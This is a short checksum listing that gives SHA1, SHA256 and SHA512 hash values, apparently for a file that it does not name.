SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c